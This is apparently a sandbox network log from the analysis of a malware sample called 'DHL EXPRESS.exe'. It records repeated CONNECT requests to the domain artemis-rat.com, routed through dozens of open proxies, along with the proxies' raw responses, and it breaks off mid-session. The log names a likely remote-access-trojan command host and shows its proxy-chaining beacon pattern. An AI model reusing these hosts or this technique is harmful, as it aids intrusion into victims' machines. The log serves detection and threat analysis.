Mar 11, 2024 18:36:45.988845110 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
250	192.168.2.8	50603	185.191.236.162	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.835715055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.349626064 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
251	192.168.2.8	50760	164.92.86.113	64110	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.836410046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.284375906 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.800005913 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.862901926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.957318068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.065937996 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.269263029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.456548929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:06.568824053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
252	192.168.2.8	50674	207.180.234.220	36946	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.846348047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.503115892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.425054073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.269576073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.956809044 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.769285917 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.456792116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.769090891 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
253	192.168.2.8	50648	41.65.55.10	1976	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.847404003 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.596895933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.707031012 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.909792900 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.409976006 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.909718990 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.409717083 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:12.206753969 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:29.913043022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
254	192.168.2.8	49849	98.162.25.29	31679	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.853521109 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
255	192.168.2.8	50710	72.195.34.41	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.865246058 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
256	192.168.2.8	50677	14.103.24.20	8000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.866132021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.175736904 CET	741	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.19.2 Date: Mon, 11 Mar 2024 17:36:46 GMT Content-Type: text/html Content-Length: 579 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 39 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center><hr><center>nginx/1.19.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
257	192.168.2.8	50725	174.75.211.222	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.869115114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
258	192.168.2.8	50809	198.23.229.203	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.871184111 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
259	192.168.2.8	50748	174.64.199.82	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.883384943 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
260	192.168.2.8	49845	181.65.169.37	999	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.890974045 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.065676928 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.162174940 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
261	192.168.2.8	50690	52.67.10.183	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.893151045 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.218930006 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:46 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
262	192.168.2.8	50799	159.223.166.21	1372	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.893469095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.409384966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.065670013 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.410393953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.097227097 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.831276894 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
263	192.168.2.8	50778	74.119.147.209	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.902137995 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
264	192.168.2.8	50724	51.158.108.134	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.905385017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
265	192.168.2.8	50720	51.68.220.201	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.912077904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.684561014 CET	28	IN	HTTP/1.0 502 Bad Gateway

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
266	192.168.2.8	50926	162.159.241.5	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.914187908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.074971914 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
267	192.168.2.8	49885	184.178.172.14	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.916702986 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
268	192.168.2.8	50920	47.88.3.19	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.918770075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
269	192.168.2.8	50709	152.32.130.117	18080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.919790983 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
270	192.168.2.8	50827	72.210.221.197	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.954493046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
271	192.168.2.8	50879	38.54.95.19	9080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.955235958 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.176578999 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
272	192.168.2.8	50885	45.196.148.67	5432	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.955790997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.174575090 CET	308	IN	HTTP/1.1 407 Proxy Authentication Required Server: FaaS v1.3-20220203-7fa38bd5af Date: Mon, 11 Mar 2024 17:36:46 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 65 Proxy-Authenticate: Basic realm="Proxy" Connection: close Data Raw: 48 54 54 50 20 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 65 72 72 6f 72 3a 20 69 70 20 61 75 74 68 20 66 61 69 6c 65 64 2c 20 6e 6f 20 63 72 65 64 65 6e 74 69 61 6c 73 20 70 72 6f 76 69 64 65 64 Data Ascii: HTTP authorization error: ip auth failed, no credentials provided

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
273	192.168.2.8	50728	202.179.184.44	5430	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.963936090 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.660012960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
274	192.168.2.8	49891	94.131.106.196	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
